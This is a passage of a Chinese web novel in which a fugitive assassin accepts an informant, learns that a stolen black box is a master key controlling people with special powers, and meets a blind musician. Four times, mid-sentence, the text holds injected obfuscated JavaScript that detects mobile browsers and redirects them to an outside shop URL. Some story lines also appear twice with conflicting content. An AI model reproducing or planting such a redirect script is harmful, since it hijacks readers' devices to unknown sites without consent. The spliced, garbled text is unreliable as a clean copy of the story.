走廊里的灯还是坏的,月光从拐角那扇破窗户照进来,把来人的影子拉得又长又薄,像一张纸。阿七靠在走廊对面的墙上,双手插在兜里,身上还是白天那件脏得看不出颜色的夹克。脸上有几道新添的擦伤,大概是白天晕倒的时候磕的。他的眼睛比以前深了很多,眼窝陷下去,颧骨高出来,整个人像被人从两头拧过,拧干了一切水分。 他看着温初花,嘴唇动了动,没说出话。 温初花靠在门框上,匕首藏在腿侧,没有说话。 她看着他,目光不冷也不热,像看一个陌生人。不是刻意的,是真的不知道该用什么表情面对这个人。 恨他?恨过了。原谅他?做不到。放下他?放不下。他就这么卡在她的情绪里,像一根拔不出来的刺,不碰不疼,一碰就想起当年的那个雨夜。 阿七先开了口。 “会长让我来杀你。” 温初花的眉头动了一下,没别的反应。 阿七的声音不大,但每个字都咬得很清楚,好像在念一份早就准备好了的稿子,不知道在心里复习过多少遍。 “你走了以后,他把你的任务交给了我。我替他做了很多事。但他不信任我,因为你的事,他知道我能被钱收买,所以他不相信我对任何人忠诚。” 他顿了顿,喉结上下滚动了一下。 “这次他来告诉我任务的时候,不只是给了我钱。他还带了一个人。” 温初花的手指在刀柄上紧了紧。 “小禾。”阿七说出这个名字的时候,声音终于有了裂痕,“他把小禾带到了总部。说是‘照顾’,其实就是人质。我如果不来,或者来了不动手,小禾会死。” 小禾。阿七的妹妹,比他小八岁,温初花见过照片。一个扎着马尾辫的女孩,笑起来有两颗小虎牙。阿七从不让她参与任何危险的事情,把她藏在城市另一端的一个小公寓里,每个月按时打钱,偶尔去看她。那是阿七在这个世界上唯一在乎的人。 温初花一直都知道这件事。 “那你为什么不动手?”她问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533426|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >阿七抬起头看着她。月光照在他脸上,把那些皱纹和伤疤照得一清二楚。他的眼睛里有血丝,有疲惫,有一种被逼到墙角以后才会出现的东西。 “因为……”他苦笑了一下,那个笑容比哭还难看,“我已经出卖过你一次了。” 走廊里安静了。楼下不知道谁家的收音机还在响,一个男人在唱什么歌,声音又远又闷,像从水底传上来的。 温初花没有说话。她靠在门框上,匕首藏在腿侧,手指无意识地摩挲着刀柄上那道凹槽。她看着阿七的脸,那张脸比以前老了不止五岁。三年的时间在他身上刻下的痕迹,比在她身上多得多。 “我不想再出卖你第二次。”阿七说。 温初花低下头,看着自己的脚尖。她的脚趾头露在拖鞋外面,指甲该剪了。 她忽然觉得这件事很荒唐——三年前,这个人收了八万块钱,把她卖给了敌人,让她差点死在一栋楼里。三年后,他站在她面前,说自己不想再出卖她第二次。 她应该把匕首捅进他的胸口。她应该把他推下楼梯。她应该关上门,当这个人不存在。 但她没有。 “所以呢?你打算怎么做?”她说。 阿七的眼睛亮了一下,很短暂,像一盏快没电的灯被人按了一下开关,闪了闪,又暗下去了。他把双手从兜里抽出来,往前走了半步,又退了回去,像是想靠近又不敢。 “我假装执行任务,”他说,“实际上,我可以给你传递消息。” 温初花抬起眼皮看他。 “会长那边的动静,我可以告诉你。他们派了多少人来,什么时候来,走哪条路,用什么武器——这些我都能查到。我在□□待了三年,虽然不受信任,但该知道的事情,我都有办法知道。” “你需要我做什么?”温初花问。 阿七深吸了一口气。 “出去以后,救小禾。” 温初花没有立刻回答。她在想他说的话。 这意味着她将拥有一个信息来源,一个可以告诉她追杀什么时候来、从哪里来的内线。这意味着她不用再像一只蒙着眼睛的苍蝇一样,等着人来杀她,然后凭本能还手。这意味着她可以提前准备,甚至反击。 但这也意味着她需要信任阿七。至少是某种程度上的信任。 “我不原谅你。”温初花说。 阿七的嘴角动了一下,像是早就知道她会这么说。 “我知道。” “你出卖过我一次,我不确定你不会出卖我第二次。” “我知道。” “但我给你一次赎罪的机会。” 阿七的肩膀抖了一下。他垂下头,后脑勺对着温初花,她看不清他的表情,但能看到他的肩胛骨在薄外套下面微微颤抖,像两块被风吹动的薄木板。 温初花看着他,沉默了几秒。 “我出去以后,第一件事就是救小禾。” 阿七抬起头。他的眼眶红了,但没有眼泪。他的嘴唇在发抖,但声音是稳的。 “谢谢。” “别谢我,”温初花说,“我不做亏本的买卖。你给我情报,我帮你救人。交易而已。” 阿七点了点头,从兜里掏出一个小东西,递过来。 温初花接过来,是一个纽扣大小的黑色圆片,表面光滑,背面有一个细小的凸起。 “这是传信器。外面带来的,鬼街的压制对它没用。你有什么消息要告诉我,按一下中间的凸起,它会记录声音。我这边有一个接收器,能听到。” 温初花把圆片翻来覆去看了看,揣进了兜里。 “怎么找你?” “不用找我。我会来找你。”阿七往后退了两步,退到月光照不到的阴影里,他的脸模糊了,只剩下一个轮廓,他的声音从阴影里传出来,压得很低。 “还有两件事。算是诚意。” 12. 揭秘的沈婆婆 温初花靠在门框上,没说话。 “第一,那个黑匣子。你从库房里拿走的那个。”阿七说,“会长真正想要的不是你的命,是它。杀你只是顺带,拿回匣子才是目的。” 温初花的手指动了一下。黑匣子。她已经快忘了那东西了。巴掌大,黑漆漆的,摸上去不冷不热。她当时顺手拿走,只是因为直觉告诉她要拿。后来逃命的时候扔进了行李,再后来到了鬼街,那东西不知道塞到了哪个角落。 她一直以为那些人追杀她,是因为她知道了不该知道的事。原来他们只是想要那个破匣子。 “第二,”阿七顿了顿,“有人在帮你。” 温初花抬起眼皮。 “外面。有一股势力,最近几个月一直在查你的信息。还通过一些渠道给□□施压,警告他们不能杀你。” 温初花的眉头皱了起来。谁?她在外面没有朋友,没有靠山,没有任何人会为了她得罪□□。她干这行五年,独来独往,不结盟,不站队。谁会在她跑了以后,冒着风险帮她? “查到是谁了吗?” “查不到。”阿七说,“很神秘,来头不小。□□那边也被搞得很头疼,不知道对面是谁,想干什么。” 温初花沉默了。阿七往后退了两步,彻底退进了阴影里。 她没有回床上睡觉,而是走到门边,拧开门,走了出去。 走廊里很暗,月光从拐角那扇破窗户照进来,在地面上铺了一层薄薄的银白色。 她在那扇干干净净的门前站住了。 她抬起手,没敲,对着那扇门说了一句话。 “我知道你在听。” 安静了几秒。门开了。 苏游云站在门口,穿着那件浅灰色的薄毛衣,眼镜片后面的眼睛平静得像一潭死水。他看着她,什么都没说,但也没有否认。 温初花盯着他的脸,想从上面找到任何一丝破绽。找不到。这张脸像一面刷了很多层白漆的墙,什么表情都透不出来。 “有一股势力在外面帮我,”她说,单刀直入,“你知道吗?” 苏游云看着她。 “不知道。” 那两个字说得太顺了。不是犹豫后的否认,不是思考后的回答,是早就准备好了的答案。 温初花看出来了。她不是傻子。 她在□□干了五年,审过人,逼问过口供。一个人说真话和说假话的时候,瞳孔的反应不一样,下巴的肌肉紧张程度不一样,甚至连呼吸的节奏都不一样。 苏游云说“不知道”的时候,脸上没有任何破绽。但正是因为没有破绽,才让她觉得不对劲。一个正常人被问到“你知道吗”的时候,会下意识地思考——知道什么?为什么要问我?然后才回答。苏游云没有那个思考的过程,好像他早就知道会被问到这个问题,早就准备好了答案。 那个答案是“不知道”。 他在撒谎。 温初花没有拆穿他。她站在门口,看着他的眼睛,看了两秒,然后收回了目光。 “行,”她说,“不知道就不知道。” 她转身走了。 身后的门没有立刻关上,她能感觉到他的目光落在她的后背上,像一小片没有温度的月光。她走到楼梯拐角的时候,身后传来门关上的声音,很轻,像一声叹息。 温初花没有回头。她在心里把阿七说的那几件事和眼前的苏游云串在一起——黑匣子,□□的追杀,外面那股神秘势力,还有这个什么都知道却什么都不肯说的男人。 这些事像一盘被打散的拼图,每一块都在,但她找不到把它们拼在一起的方式。 但她知道一件事:苏游云说“不知道”的时候,在撒谎。 而她一定会查清楚,他在瞒什么。 第二天一早,温初花去陈老板那儿取了早餐,端上五楼。 沈婆婆开门的时候,温初花注意到老人的气色比平时差了一些。眼下的青黑更重了,扶着门框的手指节节突出,青筋浮在薄薄的皮肤下面,像一张被揉皱的纸。但她的眼神还是那样,沉沉的,像一口看不到底的井。 温初花把托盘搁在桌上,打开饭盒。今天是白粥配小菜,还有两个花卷。她把筷子摆好,倒了杯温水放在沈婆婆手边,然后没有像往常一样坐到对面去,而是站在桌边,手伸进外套内侧的暗袋里。 沈婆婆看了她一眼。 温初花从暗袋里掏出一样东西,放在桌上。 巴掌大,方方正正,通体黑色,没有任何缝隙、按钮或标识。表面不反光,像一块被磨砂处理过的黑色石头,但又不像石头那么重,拿在手里有一种说不清道不明的温润感,像握着一块凝固了的温度。她昨晚从床底那个小木箱里翻出来的,压在纱布和碘伏底下,裹在一件旧T恤里。 沈婆婆的目光落在那个黑匣子上,整个人像被钉住了。 她手里的筷子掉在了桌上,弹了一下,滚到地上。她没有捡。她的眼睛盯着那个黑匣子,瞳孔缩成了两个小点,嘴唇微微张开,又合上,再张开。 温初花认识沈婆婆快四个月了,从来没见过她这个样子。这个老太太不管遇到什么事都是那副不紧不慢的样子,天塌下来她大概也就是叹口气,说一句“哦,塌了啊”,然后继续喝茶。 但现在,沈婆婆的脸上的表情是温初花从未见过的——不是惊讶,不是恐惧,是那种你一直以为不存在的东西忽然出现在你面前时,整个人的世界观都在那一瞬间被颠覆了的表情。 沈婆婆伸出右手,手指微微发抖,在距离黑匣子不到一寸的地方停住了。她没有碰它,就那么悬在表面上方,像是在感受什么。过了几秒,她收回手,闭上眼睛,深深地呼出一口气。 “这是……”她的声音有些发涩,像很久没说话的人忽然开了口,“你从哪里拿到的?” “□□的机密库房。”温初花说。 沈婆婆睁开眼睛,看着温初花,那双浑浊的老眼里头第一次出现了温初花看不懂的东西。 “你知道这是什么吗?” 温初花摇了摇头。 沈婆婆沉默了很久。她弯腰捡起地上的筷子,搁在桌上,双手交叠,拇指抵着眉心,像是在做一个很长的决定。窗外的光线慢慢变亮,太阳从云层后面露出来,把那幅山水画上的灰尘照得一清二楚。那只老旧的镜框又晃了晃,墙上那块缺了角的影子也跟着晃了晃。 沈婆婆放下手,看着那个黑匣子。 “这是‘缚灵系统’的核心密钥。” 温初花皱了皱眉。 “缚灵系统, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535484|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”沈婆婆说,声音很慢,像在回忆一个很久远的名字,“它的全称是缚灵粒子控制系统。五洲联盟用来控制异人的手段。” 温初花在椅子上坐了下来。五洲联盟她知道,就是外面那个世界的统治者。异人被流放到藤州岛,就是他们的决定。但“缚灵系统”这个词,她从来没听过。 沈婆婆的目光落在黑匣子上,像在看一个很久没见的老朋友。 “你应该知道,异人的能力来自于你们体内的一种特殊粒子。这种粒子在你们的血液中流动,在骨骼中积蓄,在神经中传导。你们能用意念调动它,让它产生各种效果——控火、控水、操控力量、感知万物。这种粒子不是凭空产生的,它来自你们体内的一个特殊的器官,那是一个在胚胎时期就形成的、与你们的心脏、大脑并存的第三个核心器官。” 温初花的手不自觉地放在了自己的胸口。她从来不知道自己体内还有这样一个东西。她只知道自己的能力是与生俱来的,从记事起就能用,用多了会累,用完了需要休息。她以为那就是一种天赋,就像有些人天生跑得快、有些人天生力气大一样。 “五洲联盟发现,这种粒子对一种特定频率的能量波会产生共鸣。当这种能量波扩散到空气中,异人体内的粒子就会被激活,变得活跃、躁动、不稳定——然后被一种特定的力场所吸引,从毛孔、从口鼻、从一切缝隙中逸散出去。” “缚灵粒子,”沈婆婆说,声音很慢,像在回忆一个很久远的名字,“就是让你们异人无法在外界使用能力的东西。” 温初花在椅子上坐了下来。她当然知道缚灵粒子。每一个异人都知道。那些看不见摸不着的东西漂浮在空气中,钻进异人的身体里,把能力锁死在体内,释放不出来。她在外界活了二十多年,从来没有正常使用过能力——不是用不了,是不敢用。强行释放的结果是剧烈的疼痛,甚至反噬自身。头痛、失眠、情绪不稳,这些症状她太熟悉了。 “这个控制器,”沈婆婆指了指桌上的黑匣子,“可以调节甚至关闭整个缚灵粒子系统。在外界,它是异人‘解锁’的钥匙。” “那在鬼街呢?”她问。 沈婆婆看了她一眼。 “鬼街不同。鬼街地底下有一条缚灵粒子原始矿脉,它会主动吸取异人体内的能量。这个控制器在鬼街,理论上可以与矿脉产生交互,改变它的吸收方式——甚至可以关闭它。” 温初花的手指在桌上敲了两下。她想起自己这三个月来的感受——不是外界那种“堵”,是“空”。能力被一点一点吸走,像水从指缝间流失,永不停歇。修炼也没用,练出来的新能量立刻被吸走,永远不知道去了哪里。持续的虚弱感,像永远睡不醒。 “那在藤洲岛其他地方呢?”她又问。 “藤洲岛没有缚灵粒子的影响。”沈婆婆说,“岛上可以正常使用能力。这个控制器在那里,是对抗五洲联盟的武器。” 温初花把这三层关系在脑子里过了一遍。外界——锁住异人的囚笼;藤洲——唯一能自由使用能力的地方;鬼街——被矿脉吸走能量的绝地。同一个黑匣子,在不同的地方,有不同的作用。 “所以,”温初花的声音低了下去,“□□追杀我,就是想要这个?” “不。”沈婆婆说。 13. 某个特定的人 温初花抬起眼睛。 沈婆婆端起那杯已经凉了的茶,喝了一口,慢慢地咽下去。她把杯子放回桌上,杯底磕在木头上,发出一声沉闷的响声。 “□□不是想要这个,”沈婆婆说,“□□是想要确保这个不被任何人使用。五洲联盟把他们放在藤州,给他们一些微不足道的权力,让他们管理这座岛。而他们得到的指令是——不惜一切代价,确保没有人能找到母钥,更没有人能激活它。” 温初花的脑子里嗡了一声。她想起阿七昨晚说的话——“会长真正想要的不是你的命,是那个黑匣子。”不是要得到它,是要确保它永远沉默。 “那他们为什么不直接毁掉它?”温初花问。 “因为毁不掉。”沈婆婆说,“缚灵系统的母钥由特殊材料制成,外层是记忆合金,内层是能量晶体。任何外力破坏都会触发它的自愈机制——你砸碎它,它会在一段时间后恢复原状。想彻底毁掉它,需要的是摧毁它的核心,而摧毁核心需要……” “需要什么?” “需要它被激活。”沈婆婆说,“这是一个悖论。只有活着的母钥才能被杀死。而死掉的母钥,永远杀不死。” 温初花消化了一下这段话,觉得自己大概听懂了八成,剩下的两成她决定以后再想。 “那这个东西现在能用吗?”她指着黑匣子。 “不能。”沈婆婆说,“母钥需要三重验证才能激活。第一重,生物识别——特定的DNA序列,特定的指纹、虹膜、静脉分布。第二重,能力波动——开启者体内必须有符合特定频率的能力粒子波动。第三重,意识指令——开启者必须在意识层面发出正确的指令,这个指令不是语言,不是文字,而是一种精神层面的‘握手’信号。” “这三重验证缺一不可。”沈婆婆说,“前两条,与开启者本人绑定。也就是说,这个母钥是为某个特定的人制造的。只有那个人能用它。” 温初花低头看着自己的手。 “跟我有关?”她想起沈婆婆之前说过苏游云接近她的目的跟她有关,现在又冒出这个,脑子里的线头越来越多,越来越乱。 沈婆婆没有直接回答。她拿起那个黑匣子,翻过来,用手指在底部的一个位置按了一下。那个位置看起来和表面没有任何区别,但沈婆婆的指尖压下去的时候,黑匣子的底部浮现出一行极小的字。 温初花凑过去看。 那行字是某种她没见过的文字,弯弯曲曲的,像藤蔓又像闪电。她一个字都不认识。 “这上面写了什么?” 沈婆婆把那行字看了一遍,然后抬起头来看着温初花。她的眼神变了,变得很深很深,深到温初花觉得她不是在看她,而是在看某个很远的、已经消失了的时代。 “制造日期,”沈婆婆说,“和制造者的名字。” “谁制造的?” 沈婆婆把那行字又看了一遍,像是在确认自己没有看错。她的嘴唇动了一下,念出了一个名字。 那个名字对温初花来说没有任何意义。她从来没听过,也从来不认识。但沈婆婆念出这个名字的时候,声音里带着一种温初花从未听过的情绪——像是敬畏,又像是恐惧,又像是某种比这两者都更重的东西。 “这个人在哪里?” 沈婆婆把黑匣子放回桌上,摇了摇头。 “死了。”她说,“二十年前就死了。” 屋子里安静了。 楼下有人在放收音机,滋啦滋啦的杂音混着断断续续的歌声传上来,声音闷得像从水底传上来的。墙上的山水画又晃了一下,那只缺了角的镜框在墙上投下一小块奇怪的影子,正好落在沈婆婆的侧脸上。 温初花盯着沈婆婆的脸看了几秒。她想起沈婆婆说过的那句话——“二十年来,我看不透的人,你是第一个。”她现在才意识到,沈婆婆说的“二十年”,不是一个随口说出来的数字。 “沈婆婆,”温初花的声音压得很低,“你到底是什么人?” 沈婆婆没有回答。她端起那杯已经凉透了的茶,又喝了一口,然后把杯子放回桌上,杯底磕在木头上,发出一声空洞的回响。她看着温初花,那双浑浊的老眼里头有一种说不清道不明的东西,像是悲伤,又像是释然,又像是等了很久终于等到了什么。 “以后你会知道的。”沈婆婆说。 温初花张了张嘴想追问,但沈婆婆已经拿起了筷子,低头吃起了已经凉了的白粥。她的动作很慢,每一口都嚼很久,像是在用吃饭这个动作来告诉温初花——这个话题到此为止了。 温初花没有再问。她把黑匣子收起来,塞回外套内侧的暗袋里。黑色的方块贴着她的胸口,隔着一层衣服,她能感觉到它散发出的那股微微的温度,像一个活物的心跳。 她站起来,收拾桌上的碗筷。沈婆婆已经把粥喝完了,花卷吃了半个,剩下的半个用纸巾包着,搁在饭盒盖上。 “您多吃点,”温初花说,“半个哪够。” “够了。”沈婆婆说,目光从她脸上扫过,“你也是。别老想着省钱,该吃的吃。” 温初花把碗筷摞好,端着托盘往门口走。走到门口的时候,她停下来,没有回头。 “沈婆婆。” “嗯。” “您说的那个制造者,是怎么死的?” 身后沉默了很久。久到温初花以为沈婆婆不会回答了。她正准备推门出去,身后传来了一个声音。 “被人出卖的。” 三个字。很轻,轻得像一声叹息。但温初花听出了那三个字底下压着的东西——有恨,有痛,有一个女人的二十年的沉默。 她没有回头。她推开门,端着托盘走了出去。 身后的门在她离开后轻轻地关上了。走廊里很安静,只有她自己的脚步声在空荡荡的楼梯间里一下一下地响着。她走到三楼的时候,又看到了那扇干干净净的门。门关着,门缝底下透出一点光。 她在门口站了一秒,然后继续往下走。 脑子里翻涌着沈婆婆说的那些话——缚灵系统,母钥,三重验证,制造者已经死了,被人出卖的。这些词像一串被串起来的珠子,每一颗都沉甸甸的,拎在手里往下坠。她隐约觉得这些珠子之间还有一根线没有穿过去,而那根线,就在苏游云身上。 她回到屋里,把黑匣子从暗袋里拿出来,放在桌上。它安静地躺在那里,沉默的、黑色的、不反光的,像一个永远不会开口说话的秘密。 温初花看着它,忽然想起一件事。 沈婆婆说母钥需要三重验证——生物识别、能力波动、意识指令。她不知道自己的DNA、指纹、虹膜、静脉分布是否匹配。 但她想起苏游云给她治腿的时候,那股从针尖传出来的暖流,和她体内某种东西产生了共鸣。沈婆婆说第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537364|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二重验证是能力波动——特定的频率。那股暖流,会不会就是在测试那个频率? 她不知道。但她知道,接下来她要做的事情只有一件——弄清楚苏游云到底是谁,以及他接近她的真正目的。 不多时,来人在门外站定,敲了三下。 不轻不重,不疾不徐,像用尺子量过一样规矩。 温初花打开门。门口站着个年轻人,穿一身灰布衣裳,头发剃得极短,露出一层青色的头皮。他微微低头,不看温初花的眼睛,目光落在她的下巴上,姿态恭敬得恰到好处——不卑不亢,不亲不疏。 “温小姐,”他说,声音不大,但很清楚,“先生请您喝茶。” 温初花靠在门框上,上下打量了他一眼。“你们先生谁啊?” “先生姓沈。鬼街的人都叫他盲眼琴师。” 温初花的手指在门框上敲了两下。盲眼琴师。她来鬼街快四个月,听过这个名字。鬼街最神秘的几个人之一,住在鬼街最深处的一个小院子里,从不露面,但所有人都知道他的存在。有人说他以前是五洲联盟的高层,有人说他是某个被灭门的异人家族的遗孤,有人说他其实就是个瞎子老头,什么都不是。 唯一确定的是,他在鬼街的地位不低。能做到这一点的,要么有本事,要么有脑子,要么两者都有。 温初花想了想,她今天没什么事。右腿好了,手上没钱了——那三个杀手的钱花得差不多了,老周那两百块也快见底。阿七那边暂时没消息。苏游云的门关着,不知道在不在。她在这间破屋子里待着也是待着,不如去看看这位盲眼琴师到底是个什么人物。 “行,”温初花说,“带路。” 年轻人转身,步子不快不慢,走在前面。温初花跟在他身后,走过那条堆满垃圾的巷子,穿过十字路口,经过老周的铁匠铺——老周正坐在门口抽烟,看到温初花跟着一个陌生人走,皱了下眉,但没说什么。 越往里走,路越窄,房子越破。鬼街本就是藤洲岛最破的地方,而这片区域是鬼街最破的角落。路面的坑洼里积着黑水,散发着腐烂的气味。墙根长满了青苔,墙皮大片大片地脱落,露出底下灰黑色的砖。头顶的电线上挂着不知道挂了多久的塑料袋,在风里一鼓一鼓的,像某种活物的呼吸。 年轻人的步伐没有任何变化,踩过水坑,绕过垃圾堆,脚步均匀得像节拍器。温初花注意到他的鞋是布底的,踩在湿漉漉的地面上几乎没有声音。练过的。不是那种街头打架练出来的野路子,是正儿八经训练过的身法。 年轻人停在一扇木门前,侧身让开,做了一个请的手势。 门是虚掩的,没锁。温初花推门进去。 院子不大,十步见方,收拾得干干净净。地上铺着青石板,缝隙里长着细密的青苔,被修剪得整整齐齐。墙角种着一丛竹子,不高,但很密,竹叶在风中沙沙作响。院子中央摆着一张石桌,两张石凳,桌上搁着一套茶具,茶壶嘴正冒着热气,显然已经等了有一阵了。 石桌旁边坐着一个人。 六十来岁的样子,身材瘦削,穿着一件深灰色的长衫——不是鬼街常见的款式,料子看着也不像是鬼街能买到的。他的头发全白了,梳得一丝不苟,在脑后扎了一个小小的发髻。最引人注意的是他的眼睛——双目紧闭,眼窝微微凹陷,眼眶周围有一圈淡淡的疤痕,像是被什么东西灼烧过。 盲眼琴师。 14. 盲眼琴师 温初花在门口站了两秒,然后走进院子,在石凳上坐了下来。她没有等主人开口,自己倒了一杯茶,端起来喝了一口。茶是热的,入口微苦,回甘很快,是好茶。她在□□的时候喝过这种茶,外面世界的好东西,藤洲没有,鬼街更不可能有。 “温小姐比我想的要年轻。”盲眼琴师开口了。他的声音不大,但很清晰,每一个字都咬得很清楚,像琴弦被拨动之后发出的余音,在空气中缓缓扩散。他的头微微偏着,两只闭着的眼睛对着温初花的方向,但你能感觉到他不是在看——是在“听”。听她的呼吸,听她的心跳,听她坐下来的那个动作所带起的所有细微的声响。 “你找我有事?”温初花放下茶杯,直接问。她不喜欢绕弯子。 盲眼琴师嘴角微微上扬,从袖子里抽出一只手,摸索着拿起茶壶,给自己也倒了一杯。他的手很稳,倒茶的动作没有任何迟疑,仿佛那套茶具的位置早就刻进了他的肌肉记忆里。他端起茶杯,小口抿了一下,放下,然后抬起头来。 “我知道你为什么进鬼街。” 温初花的手指在茶杯沿上停住了。 “外面有个预言,”盲眼琴师说,“说你是未来的至尊。” 温初花的心猛地跳了一下。 至尊。这个词她听过。不是听别人说的,是那封信上写的。三个月前那个雨夜,巷子尽头,尸体,信封,烧掉的信纸。信上写的内容里就有这两个字。她从来没有对任何人提起过,从来没有。 这个瞎子怎么知道的? 温初花的表情没有变。她在□□干了五年,控制面部肌肉是基本功。 她的嘴角没有抽动,眉毛没有上挑,甚至连瞳孔的变化都被她强行压住了。但她的心跳快了半拍,快到普通人根本察觉不到,但对一个靠“听”来看世界的人来说,可能已经足够了。 “你搞错了。”温初花说,语气平淡得像在说今天天气不错,“我就是个逃命的,什么至尊不至尊的,跟我没关系。” 盲眼琴师没有接话。他端起茶杯,又喝了一口,然后慢慢地、稳稳地把杯子放回桌上,杯底和石桌面碰了一下,发出一声极轻极脆的响声,像什么东西碎了。 他没有反驳她。 他只是微笑着,好像她刚才说的那句话是一阵风吹过,不需要回应,不需要在意。那种态度比任何反驳都让人不舒服——他不是不相信她,他是不在乎她否认。在他的认知里,这是一个事实,事实不需要争辩。 “如果我说我可以帮你呢?”盲眼琴师说,“你愿意合作吗?” 温初花靠在石凳上,胳膊交叉在胸前,看着他。“怎么帮?你连鬼街都出不去。” 盲眼琴师的嘴角又上扬了一点。他的右手从桌面上抬起来,食指和中指并拢,在空气中轻轻划了一下,像是在弹一个不存在的琴键。 “但消息可以。” 温初花没有说话。她在等下文。 “鬼街出不去,这是事实。但消息不一样。消息不需要穿过那道拱门,消息只需要找到愿意传递它的人。”盲眼琴师的手落回桌上,指尖在石面上轻轻敲了两下,“藤洲岛上有愿意帮我传递消息的人。藤洲岛外面,也有。” 温初花的手指在袖子里微微攥紧了。她说的是“帮忙”,但意思很清楚——她能提供消息,从外面来的消息。追杀温初花的人什么时候到,走哪条路,有多少人,用什么武器,这些消息如果能提前知道,她的生存几率会大大提高。 她想起阿七。阿七也说过类似的话——做你在外面的眼睛。一个是□□内部的人,一个是拥有外部消息渠道的神秘人物。如果这两条线都能用上,她就不再是被动挨打的猎物了。 但她没有立刻答应。 她不是不信盲眼琴师的能力,她是不信任何人的“好意”。在鬼街这种地方,没有免费的茶,没有免费的午餐,没有免费的帮助。每一种“帮忙”背后都有一把算盘,噼里啪啦地响。 “你要什么?”温初花问。 盲眼琴师端起茶杯,没有喝,只是端在手里,感受着杯壁上的温度。他的拇指在杯沿上慢慢地画着圈,一圈,两圈,三圈。 “我要的不多,”他说,“你出去的时候,带上一个人。” 温初花皱了皱眉。 “出去?谁能出去?鬼街能进不能出,这是规矩。” 盲眼琴师把茶杯放下了。“规矩是人定的。” “你知道出去的办法?” 盲眼琴师没有回答。他的嘴角还是那样微微上扬着,那个笑容挂在脸上,像一张摘不下来的面具。 温初花盯着他那双紧闭的眼睛看了几秒,脑子里飞快地转着。这个人知道预言的秘密,知道出去的办法,在外面有消息渠道,在鬼街有这样的院子。他不是一个普通的瞎子,也绝不是一个普通的鬼街居民。 但她不喜欢这种被算计的感觉。 “我不需要合作,”温初花站起来,把石凳往后挪了半寸,石凳腿在地上刮出一声刺耳的响,“我只想安静。” 她转身朝门口走去。 身后传来盲眼琴师的声音,不大,但每一个字都清清楚楚,像钉子一颗一颗钉进木板里。 “温小姐,你可以拒绝我。但你要明白——你不找我,他们会来找你的。不是追杀你的那些人,是‘他们’。那些在等预言实现的人。那些把你当成希望的人。那些已经等了二十年的人。” 温初花的脚步停了一瞬。 “他们不会让你安静的。” 温初花没有回头。她推开木门,走出了院子。 身后传来琴声。不是录音机放的那种滋啦滋啦的旧歌,是真人在弹琴。琴声从那个小院子里飘出来,穿过竹子,越过墙头,在窄巷子里来回碰撞。曲调她没听过,说不清是古曲还是什么,但听着让人心里发沉,像石头丢进了深水里,沉到底了还不见底。 年轻人还站在门外,看到她出来,微微点了点头,没有跟上来。 温初花一个人往回走。巷子还是那条巷子,垃圾还是那些垃圾,墙根的青苔还是那片青苔。但她走在这条路上的感觉跟来时不一样了,脚下像踩着一层薄冰,不知道什么时候会裂开。 至尊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539813|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把这两个字在脑子里翻来覆去地嚼了几遍,像嚼一颗不知道是什么味道的糖。她从来不相信什么预言,更不相信什么“命中注定”。她是靠自己活到今天的,不是靠什么狗屁天命。她没有灵力——在鬼街之外她有,但在这里没有,但她不在乎。她靠拳头,靠刀,靠一股不服输的劲,杀出一条血路走到现在。至尊?她连自己的明天能不能活着都不知道,至尊什么东西。 但盲眼琴师说的另一句话像根刺一样扎在她心里,怎么都拔不出来。 “他们不会让你安静的。” 她在巷口站了一会儿,看着远处那道永远翻涌着白雾的拱门。风从那个方向吹过来,带着湿冷的气息,吹得她外套的下摆一掀一掀的。 有一个新人在拱门内侧的墙根底下蜷着,不知道什么时候进来的,也不知道是死是活。温初花看了一眼,没有走过去。今天她没有那个心情去管一个陌生人。 她继续往家的方向走。 脑子里翻涌着许多东西——预言,黑匣子,苏游云,盲眼琴师,阿七,沈婆婆。这些人,这些事,像一根根线,从不同的方向伸过来,开始在她身边缠绕。她不知道这些线的尽头拴着什么,但她隐约感觉到,所有的线最终都指向同一个方向。 而她,正站在这团乱麻的中心。 温初花回到楼下的时候,抬头看了一眼三楼那扇窗户。窗帘拉着,看不到里面。灯好像亮着,又好像没有。她站在楼下看了几秒,然后上楼了。 